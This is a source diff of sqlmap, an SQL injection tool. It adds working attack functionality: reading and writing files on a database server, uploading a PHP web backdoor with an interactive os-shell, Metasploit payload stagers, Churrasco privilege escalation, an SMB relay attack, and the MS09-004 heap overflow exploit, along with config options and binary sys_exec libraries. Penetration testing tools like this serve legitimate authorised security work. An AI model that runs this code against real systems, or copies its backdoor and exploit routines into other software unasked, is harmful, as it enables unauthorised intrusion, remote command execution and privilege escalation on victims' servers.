USA +import binascii +import os + +from lib.core.agent import agent +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.request import inject +from lib.techniques.outband.stacked import stackedTest class Filesystem: @@ -32,11 +44,290 @@ class Filesystem: This class defines generic OS file system functionalities for plugins. """ + def __init__(self): + self.fileTblName = "sqlmapfile" + self.tblField = "data" + + + def __unbase64String(self, base64Str): + unbase64Str = "" + + if isinstance(base64Str, (list, tuple, set)): + for chunk in base64Str: + if isinstance(chunk, (list, tuple, set)): + chunk = chunk[0] + + unbase64Str += "%s\n" % chunk.decode("base64") + else: + unbase64Str = "%s\n" % base64Str.decode("base64") + + return unbase64Str + + + def __unhexString(self, hexStr): + unhexStr = "" + + if isinstance(hexStr, (list, tuple, set)): + for chunk in hexStr: + if isinstance(chunk, (list, tuple, set)): + chunk = chunk[0] + + unhexStr += binascii.unhexlify(chunk) + else: + unhexStr = binascii.unhexlify(hexStr) + + return unhexStr + + + def __binDataToScr(self, binaryData, chunkName): + """ + Called by Microsoft SQL Server plugin to write a binary file on the + back-end DBMS underlying file system + """ + + fileLines = [] + fileSize = len(binaryData) + lineAddr = 0x100 + lineLen = 20 + + fileLines.append("n %s" % chunkName) + fileLines.append("rcx") + fileLines.append("%x" % fileSize) + fileLines.append("f 0100 %x 00" % fileSize) + + for fileLine in range(0, len(binaryData), lineLen): + scrString = "" + + for lineChar in binaryData[fileLine:fileLine+lineLen]: + strLineChar = binascii.hexlify(lineChar) + + if not scrString: + scrString = "e %x %s" % (lineAddr, strLineChar) + else: + scrString += " %s" % strLineChar + + lineAddr += len(lineChar) + + fileLines.append(scrString) + + fileLines.append("w") + fileLines.append("q") + + return fileLines + + + def __checkWrittenFile(self, wFile, dFile, fileType): + if kb.dbms == "MySQL": + lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile + + elif kb.dbms == "PostgreSQL": + lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid + + elif kb.dbms == "Microsoft SQL Server": + self.createSupportTbl(self.fileTblName, self.tblField, "text") + + # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10))) + + lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) + + wFileSize = os.path.getsize(wFile) + + logger.debug("checking if the %s file has been written" % fileType) + dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2) + + if dFileSize and dFileSize.isdigit(): + infoMsg = "the file has been successfully written and " + infoMsg += "its size is %s bytes" % dFileSize + + dFileSize = long(dFileSize) + + if wFileSize == dFileSize: + infoMsg += ", same size as the local file '%s'" % wFile + else: + infoMsg += ", but the size differs from the local " + infoMsg += " file '%s' (%d bytes)" % (wFile, wFileSize) + + logger.info(infoMsg) + else: + warnMsg = "it looks like the file has not been written, this " + warnMsg += "can occur if the DBMS process' user has no write " + warnMsg += "privileges in the destination path" + logger.warn(warnMsg) + + + def fileToSqlQueries(self, fcEncodedList): + """ + Called by MySQL and PostgreSQL plugins to write a file on the + back-end DBMS underlying file system + """ + + counter = 0 + sqlQueries = [] + + for fcEncodedLine in fcEncodedList: + if counter == 0: + sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) + else: + updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine) + sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) + + counter += 1 + + return sqlQueries + + + def fileEncode(self, fileName, encoding, single): + """ + Called by MySQL and PostgreSQL plugins to write a file on the + back-end DBMS underlying file system + """ + + fcEncodedList = [] + fp = open(fileName, "rb") + fcEncodedStr = fp.read().encode(encoding).replace("\n", "") + + if single == False: + fcLength = len(fcEncodedStr) + + if fcLength > 1024: + for i in range(0, fcLength, 1024): + string = "" + + if encoding == "hex": + string += "0x" + + string += fcEncodedStr[i:i+1024] + + if encoding == "base64": + string = "'%s'" % string + + fcEncodedList.append(string) + + if not fcEncodedList: + if encoding == "hex": + fcEncodedStr = "0x%s" % fcEncodedStr + elif encoding == "base64": + fcEncodedStr = "'%s'" % fcEncodedStr + + fcEncodedList = [ fcEncodedStr ] + + return fcEncodedList + + + def updateBinChunk(self, binaryData, dFile, tmpPath): + """ + Called by Microsoft SQL Server plugin to write a binary file on the + back-end DBMS underlying file system + """ + + randScr = "sqlmapfile%s.scr" % randomStr(lowercase=True) + chunkName = randomStr(lowercase=True) + fileScrLines = self.__binDataToScr(binaryData, chunkName) + forgedScrLines = [] + cmd = "" + charCounter = 0 + maxLen = 4096 + + logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName)) + + for scrLine in fileScrLines: + forgedScrLine = "echo %s " % scrLine + forgedScrLine += ">> %s\%s" % (tmpPath, randScr) + forgedScrLines.append(forgedScrLine) + + for forgedScrLine in forgedScrLines: + cmd += "%s & " % forgedScrLine + charCounter += len(forgedScrLine) + + if charCounter >= maxLen: + forgedCmd = self.xpCmdshellForgeCmd(cmd) + self.execCmd(forgedCmd) + + cmd = "" + charCounter = 0 + + if cmd: + forgedCmd = self.xpCmdshellForgeCmd(cmd) + self.execCmd(forgedCmd) + + commands = ( + "cd %s" % tmpPath, + "debug < %s" % randScr, + "del /F %s" % randScr + ) + + complComm = " & ".join(command for command in commands) + forgedCmd = self.xpCmdshellForgeCmd(complComm) + + self.execCmd(forgedCmd, silent=True) + + return chunkName + + + def askCheckWrittenFile(self, wFile, dFile, fileType): + message = "do you want confirmation that the file '%s' " % dFile + message += "has been successfully written on the back-end DBMS " + message += "file system? [Y/n] " + output = readInput(message, default="Y") + + if not output or output in ("y", "Y"): + self.__checkWrittenFile(wFile, dFile, fileType) + + def readFile(self, rFile): - errMsg = "OS file reading not yet implemented for this DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + fileContent = None + + stackedTest() + + self.checkDbmsOs() + + if kb.stackedTest == False: + debugMsg = "going to read the file with UNION query SQL " + debugMsg += "injection technique" + logger.debug(debugMsg) + + fileContent = self.unionReadFile(rFile) + else: + debugMsg = "going to read the file with stacked query SQL " + debugMsg += "injection technique" + logger.debug(debugMsg) + + fileContent = self.stackedReadFile(rFile) + + if fileContent == None: + self.cleanup(onlyFileTbl=True) + + return + + if kb.dbms in ( "MySQL", "Microsoft SQL Server" ): + fileContent = self.__unhexString(fileContent) + + elif kb.dbms == "PostgreSQL": + fileContent = self.__unbase64String(fileContent) + + rFilePath = dataToOutFile(fileContent) + + self.cleanup(onlyFileTbl=True) + + return rFilePath - def writeFile(self, wFile): - errMsg = "OS file writing not yet implemented for this DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + stackedTest() + + self.checkDbmsOs() + + if kb.stackedTest == False: + debugMsg = "going to upload the %s file with " % fileType + debugMsg += "UNION query SQL injection technique" + logger.debug(debugMsg) + + self.unionWriteFile(wFile, dFile, fileType, confirm) + else: + debugMsg = "going to upload the %s file with " % fileType + debugMsg += "stacked query SQL injection technique" + logger.debug(debugMsg) + + self.stackedWriteFile(wFile, dFile, fileType, confirm) + self.cleanup(onlyFileTbl=True) diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 0965fb64e..939244931 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py new file mode 100644 index 000000000..57deab7dd --- /dev/null +++ b/plugins/generic/misc.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re +import os + +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.session import setRemoteTempPath +from lib.request import inject +from lib.techniques.outband.stacked import stackedTest + + +class Miscellaneous: + """ + This class defines miscellaneous functionalities for plugins. + """ + + def getRemoteTempPath(self): + if not conf.tmpPath: + if kb.os == "Windows": + # NOTES: + # + # * MySQL runs by default as SYSTEM and the system-wide + # temporary files directory is C:\WINDOWS\Temp + # + # * PostgreSQL runs by default as postgres user and the + # temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp, + # however the system-wide folder is writable too + #infoMsg = "retrieving remote absolute path of temporary files " + #infoMsg += "directory" + #logger.info(infoMsg) + # + #conf.tmpPath = self.evalCmd("echo %TEMP%") + conf.tmpPath = "C:/WINDOWS/Temp" + else: + conf.tmpPath = "/tmp" + + if re.search("^[\w]\:[\/\\\\]+", conf.tmpPath, re.I): + kb.os = "Windows" + + conf.tmpPath = conf.tmpPath.replace("\\", "/") + conf.tmpPath = os.path.normpath(conf.tmpPath) + + setRemoteTempPath() + + + def createSupportTbl(self, tblName, tblField, tblType): + inject.goStacked("DROP TABLE %s" % tblName) + inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) + + + def cleanup(self, onlyFileTbl=False): + """ + Cleanup database from sqlmap create tables and functions + """ + + stackedTest() + + if kb.stackedTest == False: + return + + if kb.os == "Windows": + libtype = "dynamic-link library" + + elif kb.os == "Linux": + libtype = "shared object" + + else: + libtype = "shared library" + + if onlyFileTbl == True: + logger.debug("cleaning up the database management system") + else: + logger.info("cleaning up the database management system") + + logger.debug("removing support tables") + inject.goStacked("DROP TABLE %s" % self.fileTblName) + + if onlyFileTbl == False: + inject.goStacked("DROP TABLE %s" % self.cmdTblName) + + if kb.dbms == "Microsoft SQL Server": + return + + for udf in ( "sys_exec", "sys_eval" ): + message = "do you want to remove %s UDF? [Y/n] " % udf + output = readInput(message, default="Y") + + if not output or output in ("y", "Y"): + dropStr = "DROP FUNCTION %s" % udf + + if kb.dbms == "PostgreSQL": + dropStr += "(text)" + + logger.debug("removing %s UDF" % udf) + inject.goStacked(dropStr) + + logger.info("database management system cleanup finished") + + warnMsg = "remember that UDF %s files " % libtype + + if conf.osPwn: + warnMsg += "and Metasploit related files in the temporary " + warnMsg += "folder " + + warnMsg += "saved on the file system can only be deleted " + warnMsg += "manually" + logger.warn(warnMsg) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 7dab61cb6..a975fef8f 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -24,14 +24,399 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -from lib.core.exception import sqlmapUnsupportedFeatureException +import re + +from lib.core.common import getDirectories +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.shell import autoCompletion +from lib.request.connect import Connect as Request +from lib.takeover.abstraction import Abstraction +from lib.takeover.dep import DEP +from lib.takeover.metasploit import Metasploit +from lib.takeover.registry import Registry +from lib.techniques.outband.stacked import stackedTest -class Takeover: +class Takeover(Abstraction, DEP, Metasploit, Registry): """ This class defines generic OS takeover functionalities for plugins. """ + def __init__(self): + self.cmdTblName = "sqlmapoutput" + self.tblField = "data" + self.cmdFromChurrasco = False + + Abstraction.__init__(self) + DEP.__init__(self) + + + def __webBackdoorRunCmd(self, backdoorUrl, cmd): + """ + TODO: complete review of this code is needed + """ + + output = None + + cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd) + page, _ = Request.getPage(url=cmdUrl, direct=True) + output = re.search("
      (.+?)
      ", page, re.I | re.S) + + if output: + print output.group(1) + else: + print "No output" + + return output + + + def __webBackdoorOsShell(self): + """ + TODO: complete review of this code is needed + + This method is used to write a PHP agent (cmd.php) on a writable + remote directory within the web server document root. + Such agent is written using the INTO OUTFILE MySQL DBMS + functionality + + @todo: + * Add a web application crawling functionality to detect + all (at least most) web server directories and merge with + Google results if the target host is a publicly available + hostname or IP address; + * Extend the agent to other interpreters rather than only PHP: + ASP, JSP, CGI (Python, Perl, Ruby, Bash). + """ + + infoMsg = "retrieving web application directories" + logger.info(infoMsg) + + directories = getDirectories() + + if directories: + infoMsg = "retrieved web server directories " + infoMsg += "'%s'" % ", ".join(d for d in directories) + logger.info(infoMsg) + + message = "in addition you can provide a list of directories " + message += "absolute path comma separated that you want sqlmap " + message += "to try to upload the agent [/var/www/test]: " + inputDirs = readInput(message, default="/var/www/test") + else: + message = "please provide the web server document root [/var/www]: " + inputDocRoot = readInput(message, default="/var/www") + + if inputDocRoot: + kb.docRoot = inputDocRoot + else: + kb.docRoot = "/var/www" + + message = "please provide a list of directories absolute path " + message += "comma separated that you want sqlmap to try to " + message += "upload the agent [/var/www/test]: " + inputDirs = readInput(message, default="/var/www/test") + + if inputDirs: + inputDirs = inputDirs.replace(", ", ",") + inputDirs = inputDirs.split(",") + + for inputDir in inputDirs: + directories.add(inputDir) + else: + directories.add("/var/www/test") + + infoMsg = "trying to upload the uploader agent" + logger.info(infoMsg) + + directories = list(directories) + directories.sort() + uploaded = False + + backdoorName = "backdoor.php" + backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) + uploaderName = "uploader.php" + uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) + + for directory in directories: + if uploaded: + break + + # Upload the uploader agent + uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) + query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) + query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery + + query = agent.prefixQuery(" %s" % query) + query = agent.postfixQuery(query) + + payload = agent.payload(newValue=query) + page = Request.queryPage(payload) + + if kb.docRoot: + requestDir = directory.replace(kb.docRoot, "") + else: + requestDir = directory + + baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) + uploaderUrl = "%s/%s" % (baseUrl, uploaderName) + page, _ = Request.getPage(url=uploaderUrl, direct=True) + + if "sqlmap backdoor uploader" not in page: + warnMsg = "unable to upload the uploader " + warnMsg += "agent on '%s'" % directory + logger.warn(warnMsg) + + continue + + infoMsg = "the uploader agent has been successfully uploaded " + infoMsg += "on '%s'" % directory + logger.info(infoMsg) + + # Upload the backdoor through the uploader agent + multipartParams = { + "upload": "1", + "file": open(backdoorPath, "r"), + "uploadDir": directory, + } + uploaderUrl = "%s/%s" % (baseUrl, uploaderName) + page = Request.getPage(url=uploaderUrl, multipart=multipartParams) + + if "Backdoor uploaded" not in page: + warnMsg = "unable to upload the backdoor through " + warnMsg += "the uploader agent on '%s'" % directory + logger.warn(warnMsg) + + continue + + uploaded = True + backdoorUrl = "%s/%s" % (baseUrl, backdoorName) + + infoMsg = "the backdoor has been successfully uploaded on " + infoMsg += "'%s', go with your browser to " % directory + infoMsg += "'%s' and enjoy it!" % backdoorUrl + logger.info(infoMsg) + + if conf.osShell: + message = "do you want to use the uploaded backdoor as a " + message += "shell to execute commands right now? [Y/n] " + shell = readInput(message, default="Y") + + if shell in ("n", "N"): + continue + + infoMsg = "calling OS shell. To quit type " + infoMsg += "'x' or 'q' and press ENTER" + logger.info(infoMsg) + + autoCompletion(osShell=True) + + while True: + command = None + + try: + command = raw_input("os-shell> ") + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + break + + if not command: + continue + + if command.lower() in ( "x", "q", "exit", "quit" ): + break + + self.__webBackdoorRunCmd(backdoorUrl, command) + + + def uploadChurrasco(self): + msg = "do you want sqlmap to upload Churrasco and call the " + msg += "Metasploit payload stager as its argument so that it " + msg += "will be started as SYSTEM? [Y/n] " + + output = readInput(msg, default="Y") + + if not output or output[0] in ( "y", "Y" ): + # TODO: add also compiled/packed Churrasco for Windows 2008 + wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH + + self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True)) + self.cmdFromChurrasco = True + + # NOTE: no need to handle DEP for Churrasco executable because + # it spawns a new process as the SYSTEM user token to execute + # the executable passed as argument + self.writeFile(wFile, self.churrascoPath, "binary", confirm=False) + + return True + else: + return False + + + def osCmd(self): + stackedTest() + + if kb.stackedTest == False: + return + + self.initEnv() + self.runCmd(conf.osCmd) + + def osShell(self): - errMsg = "OS shell functionality not yet implemented for this DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + stackedTest() + + if kb.stackedTest == False: + infoMsg = "going to upload a web page backdoor for command " + infoMsg += "execution" + logger.info(infoMsg) + + self.__webBackdoorOsShell() + else: + self.initEnv() + self.absOsShell() + + + def osPwn(self): + stackedTest() + + if kb.stackedTest == False: + return + + self.initEnv() + self.getRemoteTempPath() + self.createMsfPayloadStager() + self.uploadMsfPayloadStager() + + if kb.os == "Windows": + # NOTE: no need to add an exception to DEP for the payload + # stager because it already sets the memory to +rwx before + # copying the shellcode into that memory page + #self.handleDep(self.exeFilePathRemote) + + if conf.privEsc and kb.dbms == "MySQL": + debugMsg = "by default MySQL on Windows runs as SYSTEM " + debugMsg += "user, no need to privilege escalate" + logger.debug(debugMsg) + + elif conf.privEsc and kb.dbms == "PostgreSQL": + warnMsg = "by default PostgreSQL on Windows runs as postgres " + warnMsg += "user which has no Windows Impersonation " + warnMsg += "Tokens: it is unlikely that the privilege " + warnMsg += "escalation will be successful" + logger.warn(warnMsg) + + elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0] + warnMsg += "runs as Network Service which has no Windows " + warnMsg += "Impersonation Tokens within all threads, this " + warnMsg += "makes Meterpreter's incognito extension to " + warnMsg += "fail to list tokens" + logger.warn(warnMsg) + + uploaded = self.uploadChurrasco() + + if uploaded == False: + warnMsg = "beware that the privilege escalation " + warnMsg += "might not work" + logger.warn(warnMsg) + + else: + # Unset --priv-esc if the back-end DBMS underlying operating + # system is not Windows + conf.privEsc = False + + self.pwn() + + + def osSmb(self): + stackedTest() + + self.checkDbmsOs() + + if kb.os != "Windows": + errMsg = "the back-end DBMS underlying operating system is " + errMsg += "not Windows: it is not possible to perform the SMB " + errMsg += "relay attack" + raise sqlmapUnsupportedDBMSException, errMsg + + if kb.stackedTest == False: + if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ): + errMsg = "on this back-end DBMS it is only possible to " + errMsg += "perform the SMB relay attack if stacked " + errMsg += "queries are supported" + raise sqlmapUnsupportedDBMSException, errMsg + + elif kb.dbms == "MySQL": + debugMsg = "since stacked queries are not supported, " + debugMsg += "sqlmap is going to perform the SMB relay " + debugMsg += "attack via inference blind SQL injection" + logger.debug(debugMsg) + + printWarn = True + warnMsg = "it is unlikely that this attack will be successful " + + if kb.dbms == "MySQL": + warnMsg += "because by default MySQL on Windows runs as " + warnMsg += "Local System which is not a real user, it does " + warnMsg += "not send the NTLM session hash when connecting to " + warnMsg += "a SMB service" + + elif kb.dbms == "PostgreSQL": + warnMsg += "because by default PostgreSQL on Windows runs " + warnMsg += "as postgres user which is a real user of the " + warnMsg += "system, but not within the Administrators group" + + elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0] + warnMsg += "runs as Network Service which is not a real user, " + warnMsg += "it does not send the NTLM session hash when " + warnMsg += "connecting to a SMB service" + + else: + printWarn = False + + if printWarn == True: + logger.warn(warnMsg) + + self.smb() + + + def osBof(self): + stackedTest() + + if kb.stackedTest == False: + return + + if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ): + errMsg = "the back-end DBMS must be Microsoft SQL Server " + errMsg += "2000 or 2005 to be able to exploit the heap-based " + errMsg += "buffer overflow in the 'sp_replwritetovarbin' " + errMsg += "stored procedure (MS09-004)" + raise sqlmapUnsupportedDBMSException, errMsg + + infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0] + infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " + infoMsg += "buffer overflow (MS09-004)" + logger.info(infoMsg) + + # NOTE: only needed to handle DEP + self.initEnv(mandatory=False, detailed=True) + + self.getRemoteTempPath() + self.createMsfShellcode() + self.overflowBypassDEP() + self.bof() + self.delException() diff --git a/sqlmap.conf b/sqlmap.conf index c28253d71..d18744d97 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -2,7 +2,21 @@ # Target URL. # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -url = +# Windows Server 2003 Service Pack 2 virtual machine +#url = http://192.168.62.154/sqlmap/mysql/iis/get_int.asp?id=1 +#url = http://192.168.62.154/sqlmap/mysql/iis/get_int.aspx?id=1 +#url = http://192.168.62.154/sqlmap/mysql/iis/get_int_51.aspx?id=1 +#url = http://192.168.62.154/sqlmap/pgsql/iis/get_int.asp?id=1 +#url = http://192.168.62.154/sqlmap/pgsql/iis/get_int.aspx?id=1 +#url = http://192.168.62.154/sqlmap/mssql/iis/get_str.asp?name=luther +url = http://192.168.62.154/sqlmap/mssql/iis/get_str2.asp?name=luther +#url = http://192.168.62.154/sqlmap/mssql/iis/get_str2_user.asp?name=luther +# Ubuntu 8.10 (Intrepid Ibex) virtual machine +#url = http://192.168.62.146/sqlmap/mysql/get_int.php?id=1 +#url = http://192.168.62.146/sqlmap/mssql/get_int.php?id=1 +#url = http://192.168.62.146/sqlmap/oracle/get_int.php?id=1 +#url = http://10.0.0.58/sqlmap/pgsql/get_int.php?id=1 +#url = http://192.168.62.146/sqlmap/pgsql/get_int_partialunion.php?id=1 # Parse targets from Burp or WebScarab logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path @@ -46,7 +60,7 @@ agent = userAgentsFile = # Extra HTTP headers -# Note: there must be a space at the beginning of each header line +# Note: There must be a space at the beginning of each header line. headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 @@ -81,6 +95,11 @@ delay = 0 # Default: 30 timeout = 30 +# Maximum number of retries when the HTTP connection timeouts. +# Valid: integer +# Default: 3 +retries = 3 + [Injection] @@ -94,6 +113,14 @@ testParameter = # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql dbms = +# Force back-end DBMS operating system to this value. If this option is +# set, the back-end DBMS identification process will be minimized as +# needed. +# If not set, sqlmap will detect back-end DBMS operating system +# automatically by default. +# Valid: linux, windows +os = + # Injection payload prefix string prefix = @@ -137,6 +164,11 @@ stackedTest = False # Valid: True or False timeTest = False +# Seconds to delay the response from the DBMS. +# Valid: integer +# Default: 5 +timeSec = 5 + # Test for UNION query (inband) SQL injection. # Valid: True or False unionTest = False @@ -254,22 +286,56 @@ sqlShell = False [File system] -# Read a specific OS file content (only on MySQL). +# Read a specific file from the back-end DBMS underlying file system. # Examples: /etc/passwd or C:\boot.ini rFile = -# Write to a specific OS file (not yet available). +# Write a local file to a specific path on the back-end DBMS underlying +# file system. # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt wFile = +# Back-end DBMS absolute filepath to write the file to. +dFile = + [Takeover] -# Prompt for an interactive OS shell (only on PHP/MySQL environment with a -# writable directory within the web server document root for the moment). +# Execute an operating system command. +# Valid: operating system command +osCmd = + +# Prompt for an interactive operating system shell. # Valid: True or False osShell = False +# Prompt for an out-of-band shell, meterpreter or VNC. +# Valid: True or False +osPwn = False + +# One click prompt for an out-of-band shell, meterpreter or VNC. +# Valid: True or False +osSmb = False + +# Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored +# procedure heap-based buffer overflow (MS09-004) exploitation. +# Valid: True or False +osBof = False + +# Local User privilege escalation by abusing Windows access tokens using +# Meterpreter incognito extension. +# Note: Use in conjunction with osPwn or osSmb. It will force the payload +# to be Meterpreter. +privEsc = False + +# Local path where Metasploit Framework 3 is installed. +# Valid: file system path +msfPath = + +# Remote absolute path of temporary files directory. +# Valid: absolute file system path +tmpPath = + [Miscellaneous] @@ -299,3 +365,7 @@ sessionFile = # Never ask for user input, use the default behaviour. # Valid: True or False batch = False + +# Clean up the DBMS by sqlmap specific UDF and tables +# Valid: True or False +cleanup = False diff --git a/sqlmap.py b/sqlmap.py index 94efd0a11..f22598575 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/udf/mysql/linux/lib_mysqludf_sys.so b/udf/mysql/linux/lib_mysqludf_sys.so new file mode 100755 index 000000000..f46f4e8f5 Binary files /dev/null and b/udf/mysql/linux/lib_mysqludf_sys.so differ diff --git a/udf/mysql/windows/lib_mysqludf_sys.dll b/udf/mysql/windows/lib_mysqludf_sys.dll new file mode 100755 index 000000000..26733307b Binary files /dev/null and b/udf/mysql/windows/lib_mysqludf_sys.dll differ diff --git a/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so new file mode 100644 index 000000000..b5301e17d Binary files /dev/null and b/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so new file mode 100755 index 000000000..ae2a12601 Binary files /dev/null and b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll new file mode 100755 index 000000000..b47f15c51 Binary files /dev/null and b/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll differ diff --git a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll new file mode 100755 index 000000000..875aa45c6 Binary files /dev/null and b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll differ diff --git a/xml/banner/generic.xml b/xml/banner/generic.xml index 8579d1a98..0c9e18202 100644 --- a/xml/banner/generic.xml +++ b/xml/banner/generic.xml @@ -11,35 +11,35 @@ - + - + - + - + - + - + - + - + diff --git a/xml/banner/mssql.xml b/xml/banner/mssql.xml index c8289ef17..0ef96b78e 100644 --- a/xml/banner/mssql.xml +++ b/xml/banner/mssql.xml @@ -67,6 +67,14 @@ + + + 9.00.4211 + + + 3+Q961930 + + 9.00.4207 @@ -83,6 +91,30 @@ +3 + + + 9.00.3315 + + + 2+Q962970 + + + + + 9.00.3303 + + + 2+Q962209 + + + + + 9.00.3302 + + + 2+Q961479 + + 9.00.3301 diff --git a/xml/queries.xml b/xml/queries.xml index bd09a4735..785b09223 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -19,9 +19,9 @@ NOTE: MySQL 5.0.12 introduced SLEEP() function References: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html - * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep + * http://dev.mysql.com/doc/refman/5.1/en/miscellaneous-functions.html#function_sleep --> - + @@ -124,7 +124,13 @@ - + + @@ -178,7 +184,7 @@ - +